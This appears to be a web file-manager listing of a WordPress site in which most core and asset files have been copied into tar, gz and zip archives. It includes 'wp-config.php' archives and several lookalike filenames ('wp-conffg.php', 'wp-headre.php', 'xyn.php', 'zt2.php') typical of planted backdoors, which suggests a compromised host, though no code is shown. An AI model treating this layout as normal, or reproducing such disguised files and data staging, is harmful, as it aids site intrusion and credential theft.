term.php.php.tar.gz File 1.05 KB 0644
term.php.tar File 4 KB 0644
terms-query.tar File 3 KB 0644
terms-query.tar.gz File 574 B 0644
terms-query.zip File 1.16 KB 0644
text-columns.tar File 11 KB 0644
text-columns.tar.gz File 924 B 0644
text-columns.zip File 4.35 KB 0644
text.png.png.tar.gz File 328 B 0644
text.png.tar File 3.5 KB 0644
text.svg.svg.tar.gz File 299 B 0644
text.svg.tar File 2 KB 0644
textcolor.tar File 19 KB 0644
textcolor.tar.gz File 4.23 KB 0644
textcolor.zip File 16.27 KB 0644
theme-compat.tar File 177 KB 0644
theme-compat.tar.gz File 9.05 KB 0644
theme-compat.zip File 169.93 KB 0644
theme-i18n.json.json.tar.gz File 542 B 0644
theme-i18n.json.tar File 3.5 KB 0644
theme-install.php.php.tar.gz File 5.7 KB 0644
theme-install.php.tar File 25 KB 0644
theme-previews.php.php.tar.gz File 1.26 KB 0644
theme-previews.php.tar File 4.5 KB 0644
theme-rtl.css.css.tar.gz File 269 B 0644
theme-rtl.css.tar File 7.5 KB 0644
theme-templates.php.php.tar.gz File 2.43 KB 0644
theme-templates.php.tar File 8 KB 0644
theme.css.css.tar.gz File 266 B 0644
theme.css.tar File 10.5 KB 0644
theme.json.json.tar.gz File 2.29 KB 0644
theme.json.tar File 10.5 KB 0644
theme.min.css.min.css.tar.gz File 257 B 0644
theme.min.css.tar File 10 KB 0644
theme.min.js.min.js.tar.gz File 7.3 KB 0644
theme.min.js.tar File 28.5 KB 0644
theme.php.php.tar.gz File 30.04 KB 0644
theme.php.tar File 133.5 KB 0644
themes.php.php.tar.gz File 8.49 KB 0644
themes.php.tar File 49.5 KB 0644
themes.tar File 2.44 MB 0644
themes.tar.gz File 204.23 KB 0644
themes.zip File 1.46 MB 0644
thickbox.css.css.tar.gz File 1.02 KB 0644
thickbox.css.tar File 4.5 KB 0644
thickbox.js.js.tar.gz File 4.05 KB 0644
thickbox.js.tar File 15 KB 0644
thickbox.tar File 35.5 KB 0644
thickbox.tar.gz File 20.43 KB 0644
thickbox.zip File 31.3 KB 0644
tinymce.min.js.min.js.tar.gz File 121.62 KB 0644
tinymce.min.js.tar File 359 KB 0644
tinymce.tar File 2.81 MB 0644
tinymce.tar.gz File 800.81 KB 0644
tinymce.zip File 2.74 MB 0644
tmp.tar File 33.64 MB 0644
tmp.tar.gz File 7.23 MB 0644
tmp.zip File 33.38 MB 0644
toggle-arrow-2x.png.png.tar.gz File 469 B 0644
toggle-arrow-2x.png.tar File 2 KB 0644
toggle-arrow.png.png.tar.gz File 410 B 0644
toggle-arrow.png.tar File 2 KB 0644
token-list.js.js.tar.gz File 1.77 KB 0644
token-list.js.tar File 7.5 KB 0644
token-list.min.js.min.js.tar.gz File 704 B 0644
token-list.min.js.tar File 3 KB 0644
tools.php.php.tar.gz File 1.5 KB 0644
tools.php.tar File 5 KB 0644
tooltip.js.js.tar.gz File 4.61 KB 0644
tooltip.js.tar File 16 KB 0644
translations.php.php.tar.gz File 2.88 KB 0644
translations.php.tar File 14.5 KB 0644
tw-sack.js.js.tar.gz File 1.62 KB 0644
tw-sack.js.tar File 6.5 KB 0644
tw-sack.min.js.min.js.tar.gz File 1.25 KB 0644
tw-sack.min.js.tar File 5 KB 0644
twemoji.js.js.tar.gz File 8.75 KB 0644
twemoji.js.tar File 38 KB 0644
twemoji.min.js.min.js.tar.gz File 4.17 KB 0644
twemoji.min.js.tar File 21 KB 0644
underscore.js.js.tar.gz File 19.1 KB 0644
underscore.js.tar File 69 KB 0644
underscore.min.js.min.js.tar.gz File 7.26 KB 0644
underscore.min.js.tar File 20 KB 0644
update-core.php.php.tar.gz File 10.56 KB 0644
update-core.php.tar File 47 KB 0644
update.php.php.tar.gz File 8.59 KB 0644
update.php.tar File 52.5 KB 0644
upgrade.php.php.tar.gz File 2.14 KB 0644
upgrade.php.tar File 13.5 KB 0644
upload.php.php.tar.gz File 4.1 KB 0644
upload.php.tar File 16.5 KB 0644
uploader-icons-2x.png.png.tar.gz File 3.45 KB 0644
uploader-icons-2x.png.tar File 5 KB 0644
uploader-icons.png.png.tar.gz File 1.73 KB 0644
uploader-icons.png.tar File 3.5 KB 0644
uploads.tar File 6.37 MB 0644
uploads.tar.gz File 3.55 MB 0644
uploads.zip File 6.28 MB 0644
url.min.js.min.js.tar.gz File 3.9 KB 0644
url.min.js.tar File 10 KB 0644
user-edit.php.php.tar.gz File 9.85 KB 0644
user-edit.php.tar File 42 KB 0644
user-new.php.php.tar.gz File 6.35 KB 0644
user-new.php.tar File 26 KB 0644
user-suggest.js.js.tar.gz File 1.06 KB 0644
user-suggest.js.tar File 4 KB 0644
user.php.php.tar.gz File 36.43 KB 0644
user.php.tar File 176.5 KB 0644
user.tar File 15.5 KB 0644
user.tar.gz File 1.95 KB 0644
user.zip File 7.58 KB 0644
users.php.php.tar.gz File 5.62 KB 0644
users.php.tar File 35 KB 0644
utf8.php.php.tar.gz File 2.64 KB 0644
utf8.php.tar File 9 KB 0644
utils.js.js.tar.gz File 1.74 KB 0644
utils.js.tar File 6.5 KB 0644
utils.min.js.min.js.tar.gz File 935 B 0644
utils.min.js.tar File 3.5 KB 0644
utils.php.php.tar.gz File 582 B 0644
utils.php.tar File 2.5 KB 0644
utils.zip File 19.07 KB 0644
var.tar File 1.5 KB 0644
var.tar.gz File 90 B 0644
vars.php.php.tar.gz File 2.08 KB 0644
vars.php.tar File 8 KB 0644
vendor.tar File 2.56 MB 0644
vendor.tar.gz File 595.01 KB 0644
vendor.zip File 2.55 MB 0644
verse.tar File 8 KB 0644
verse.tar.gz File 896 B 0644
verse.zip File 2.91 KB 0644
version.php.php.tar.gz File 567 B 0644
version.php.tar File 3 KB 0644
video.php.php.tar.gz File 1.19 KB 0644
video.php.tar File 4.5 KB 0644
video.png.png.tar.gz File 1.51 KB 0644
video.png.tar File 4 KB 0644
video.svg.svg.tar.gz File 342 B 0644
video.svg.tar File 2 KB 0644
video.tar File 20 KB 0644
video.tar.gz File 1.73 KB 0644
video.zip File 10.33 KB 0644
view.asset.php.asset.php.tar.gz File 212 B 0644
view.asset.php.tar File 3 KB 0644
view.js.js.tar.gz File 979 B 0644
view.js.tar File 16.5 KB 0644
view.min.js.min.js.tar.gz File 726 B 0644
view.min.js.tar File 3 KB 0644
viewport.min.js.min.js.tar.gz File 1.06 KB 0644
viewport.min.js.tar File 3.5 KB 0644
views.js.js.tar.gz File 2.27 KB 0644
views.js.tar File 9.5 KB 0644
views.min.js.min.js.tar.gz File 1.32 KB 0644
views.min.js.tar File 4.5 KB 0644
w-logo-blue.png.png.tar.gz File 2.56 KB 0644
w-logo-blue.png.tar File 5 KB 0644
web.config.config.tar.gz File 300 B 0644
web.config.tar File 2 KB 0644
webalizer.tar File 19.95 MB 0644
webalizer.tar.gz File 3.66 MB 0644
webalizer.zip File 19.74 MB 0644
widget-group.php.php.tar.gz File 902 B 0644
widget-group.php.tar File 4 KB 0644
widget-group.tar File 4 KB 0644
widget-group.tar.gz File 495 B 0644
widget-group.zip File 1.13 KB 0644
widgets-form.php.php.tar.gz File 5.79 KB 0644
widgets-form.php.tar File 21 KB 0644
widgets-rtl.css.css.tar.gz File 4.07 KB 0644
widgets-rtl.css.tar File 19 KB 0644
widgets-rtl.min.css.min.css.tar.gz File 3.39 KB 0644
widgets-rtl.min.css.tar File 16 KB 0644
widgets.js.js.tar.gz File 10.54 KB 0644
widgets.js.tar File 49.5 KB 0644
widgets.min.js.min.js.tar.gz File 7.03 KB 0644
widgets.min.js.tar File 21 KB 0644
widgets.php.php.tar.gz File 15.48 KB 0644
widgets.php.tar File 73 KB 0644
widgets.tar File 718 KB 0644
widgets.tar.gz File 49.28 KB 0644
widgets.zip File 842.3 KB 0644
wordcount.js.js.tar.gz File 2.97 KB 0644
wordcount.js.tar File 15 KB 0644
wordcount.min.js.min.js.tar.gz File 1.35 KB 0644
wordcount.min.js.tar File 5 KB 0644
wordpress.tar File 37.5 KB 0644
wordpress.tar.gz File 17.62 KB 0644
wp-activate.php.php.tar.gz File 2.57 KB 0644
wp-activate.php.tar File 9 KB 0644
wp-admin.css.css.tar.gz File 240 B 0644
wp-admin.css.tar File 2 KB 0644
wp-admin.tar File 9.8 MB 0644
wp-admin.tar.gz File 2.17 MB 0644
wp-admin.zip File 9.46 MB 0644
wp-ajax-response.js.js.tar.gz File 1.55 KB 0644
wp-ajax-response.js.tar File 5.5 KB 0644
wp-ajax-response.min.js.min.js.tar.gz File 1.23 KB 0644
wp-ajax-response.min.js.tar File 4.5 KB 0644
wp-api.js.js.tar.gz File 10.66 KB 0644
wp-api.js.tar File 47.5 KB 0644
wp-api.min.js.min.js.tar.gz File 4.15 KB 0644
wp-api.min.js.tar File 16 KB 0644
wp-auth-check-rtl.css.css.tar.gz File 989 B 0644
wp-auth-check-rtl.css.tar File 4 KB 0644
wp-auth-check.css.css.tar.gz File 961 B 0644
wp-auth-check.css.tar File 4 KB 0644
wp-auth-check.js.js.tar.gz File 1.67 KB 0644
wp-auth-check.js.tar File 6 KB 0644
wp-auth-check.min.css.min.css.tar.gz File 847 B 0644
wp-auth-check.min.css.tar File 3.5 KB 0644
wp-auth-check.min.js.min.js.tar.gz File 882 B 0644
wp-auth-check.min.js.tar File 3.5 KB 0644
wp-backbone.js.js.tar.gz File 3.67 KB 0644
wp-backbone.js.tar File 16.5 KB 0644
wp-backbone.min.js.min.js.tar.gz File 1.27 KB 0644
wp-backbone.min.js.tar File 4.5 KB 0644
wp-blog-header.php.php.tar.gz File 473 B 0644
wp-blog-header.php.tar File 2.5 KB 0644
wp-comments-post.php.php.tar.gz File 1.15 KB 0644
wp-comments-post.php.tar File 4 KB 0644
wp-conffg.php.php.tar.gz File 118 B 0644
wp-conffg.php.tar File 1.5 KB 0644
wp-conffq.php.php.tar.gz File 118 B 0644
wp-conffq.php.tar File 1.5 KB 0644
wp-config-sample.php.php.tar.gz File 1.4 KB 0644
wp-config-sample.php.tar File 5 KB 0644
wp-config.php.php.tar.gz File 1.7 KB 0644
wp-config.php.tar File 5 KB 0644
wp-content.zip File 151.48 MB 0644
wp-cron.php.php.tar.gz File 2.15 KB 0644
wp-cron.php.tar File 7 KB 0644
wp-custom-header.js.js.tar.gz File 2.98 KB 0644
wp-custom-header.js.tar File 12 KB 0644
wp-custom-header.min.js.min.js.tar.gz File 1.68 KB 0644
wp-custom-header.min.js.tar File 6 KB 0644
wp-db.php.php.tar.gz File 382 B 0644
wp-db.php.tar File 2 KB 0644
wp-diff.php.php.tar.gz File 459 B 0644
wp-diff.php.tar File 2.5 KB 0644
wp-embed-template-ie.css.css.tar.gz File 170 B 0644
wp-embed-template-ie.css.tar File 2 KB 0644
wp-embed-template.css.css.tar.gz File 2.12 KB 0644
wp-embed-template.css.tar File 9.5 KB 0644
wp-embed-template.js.js.tar.gz File 1.94 KB 0644
wp-embed-template.js.tar File 8.5 KB 0644
wp-embed-template.min.js.min.js.tar.gz File 1.21 KB 0644
wp-embed-template.min.js.tar File 5 KB 0644
wp-embed.js.js.tar.gz File 1.4 KB 0644
wp-embed.js.tar File 5 KB 0644
wp-embed.min.js.min.js.tar.gz File 807 B 0644
wp-embed.min.js.tar File 3 KB 0644
wp-emoji-loader.js.js.tar.gz File 3.85 KB 0644
wp-emoji-loader.js.tar File 14.5 KB 0644
wp-emoji-loader.min.js.min.js.tar.gz File 1.3 KB 0644
wp-emoji-loader.min.js.tar File 4.5 KB 0644
wp-emoji-release.min.js.min.js.tar.gz File 5.36 KB 0644
wp-emoji-release.min.js.tar File 24 KB 0644
wp-emoji.js.js.tar.gz File 3.38 KB 0644
wp-emoji.js.tar File 10.5 KB 0644
wp-emoji.min.js.min.js.tar.gz File 1.5 KB 0644
wp-emoji.min.js.tar File 4.5 KB 0644
wp-headre.php.php.tar.gz File 117 B 0644
wp-headre.php.tar File 1.5 KB 0644
wp-links-opml.php.php.tar.gz File 1.21 KB 0644
wp-links-opml.php.tar File 4 KB 0644
wp-list-revisions.js.js.tar.gz File 553 B 0644
wp-list-revisions.js.tar File 2.5 KB 0644
wp-list-revisions.min.js.min.js.tar.gz File 475 B 0644
wp-list-revisions.min.js.tar File 2.5 KB 0644
wp-lists.js.js.tar.gz File 5.37 KB 0644
wp-lists.js.tar File 26.5 KB 0644
wp-lists.min.js.min.js.tar.gz File 2.59 KB 0644
wp-lists.min.js.tar File 9 KB 0644
wp-load.php.php.tar.gz File 1.71 KB 0644
wp-load.php.tar File 5.5 KB 0644
wp-mail.php.php.tar.gz File 3.1 KB 0644
wp-mail.php.tar File 10.5 KB 0644
wp-plupload.js.js.tar.gz File 5.19 KB 0644
wp-plupload.js.tar File 18 KB 0644
wp-pointer-rtl.css.css.tar.gz File 1.21 KB 0644
wp-pointer-rtl.css.tar File 5.5 KB 0644
wp-pointer-rtl.min.css.min.css.tar.gz File 1.03 KB 0644
wp-pointer-rtl.min.css.tar File 5 KB 0644
wp-pointer.css.css.tar.gz File 1.18 KB 0644
wp-pointer.css.tar File 5.5 KB 0644
wp-pointer.js.js.tar.gz File 3.04 KB 0644
wp-pointer.js.tar File 11.5 KB 0644
wp-pointer.min.css.min.css.tar.gz File 1.02 KB 0644
wp-pointer.min.css.tar File 5 KB 0644
wp-pointer.min.js.min.js.tar.gz File 1.41 KB 0644
wp-pointer.min.js.tar File 5.5 KB 0644
wp-sanitize.js.js.tar.gz File 679 B 0644
wp-sanitize.js.tar File 3 KB 0644
wp-sanitize.min.js.min.js.tar.gz File 397 B 0644
wp-sanitize.min.js.tar File 2 KB 0644
wp-settings.php.php.tar.gz File 6.24 KB 0644
wp-settings.php.tar File 32 KB 0644
wp-signup.php.php.tar.gz File 7.92 KB 0644
wp-signup.php.tar File 35.5 KB 0644
wp-trackback.php.php.tar.gz File 1.94 KB 0644
wp-trackback.php.tar File 7 KB 0644
wp-util.js.js.tar.gz File 1.81 KB 0644
wp-util.js.tar File 6.5 KB 0644
wp-util.min.js.min.js.tar.gz File 870 B 0644
wp-util.min.js.tar File 3 KB 0644
wp.26_40431.2025-12-08_21-41-25.tar File 3.5 KB 0644
wp.tar File 2.34 MB 0644
wp.tar.gz File 231 B 0644
wp.zip File 2.34 MB 0644
wpdialog.js.js.tar.gz File 451 B 0644
wpdialog.js.tar File 2.5 KB 0644
wpdialog.min.js.min.js.tar.gz File 318 B 0644
wpdialog.min.js.tar File 2 KB 0644
wpicons-2x.png.png.tar.gz File 14.39 KB 0644
wpicons-2x.png.tar File 16.5 KB 0644
wpicons.png.png.tar.gz File 7.04 KB 0644
wpicons.png.tar File 8.5 KB 0644
wplink.js.js.tar.gz File 5.96 KB 0644
wplink.js.tar File 22.5 KB 0644
wplink.min.js.min.js.tar.gz File 3.92 KB 0644
wplink.min.js.tar File 13 KB 0644
wpo-cache.tar File 4 KB 0644
wpo-cache.tar.gz File 825 B 0644
wpo-cache.zip File 1.7 KB 0644
wpo-minify.tar File 1.63 MB 0644
wpo-minify.tar.gz File 749.57 KB 0644
wpo.tar File 25 KB 0644
wpo.tar.gz File 21.31 KB 0644
wpspin-2x.gif.gif.tar.gz File 8.14 KB 0644
wpspin-2x.gif.tar File 10.5 KB 0644
wpspin.gif.gif.tar.gz File 1.88 KB 0644
wpspin.gif.tar File 4 KB 0644
wpview.zip File 9.18 KB 0644
xfn.min.js.min.js.tar.gz File 390 B 0644
xfn.min.js.tar File 2 KB 0644
xit-2x.gif.gif.tar.gz File 819 B 0644
xit-2x.gif.tar File 2.5 KB 0644
xit.gif.gif.tar.gz File 317 B 0644
xit.gif.tar File 2 KB 0644
xmlrpc.php.php.tar.gz File 1.5 KB 0644
xmlrpc.php.tar File 5 KB 0644
xyn.php.php.tar.gz File 113 B 0644
xyn.php.tar File 1.5 KB 0644
zt2.php.php.tar.gz File 265 B 0644
zt2.php.tar File 2 KB 0644
zxcvbn-async.js.js.tar.gz File 536 B 0644
zxcvbn-async.js.tar File 2.5 KB 0644
zxcvbn-async.min.js.min.js.tar.gz File 364 B 0644
zxcvbn-async.min.js.tar File 2 KB 0644
zxcvbn.min.js.min.js.tar.gz File 390.41 KB 0644
zxcvbn.min.js.tar File 804.5 KB 0644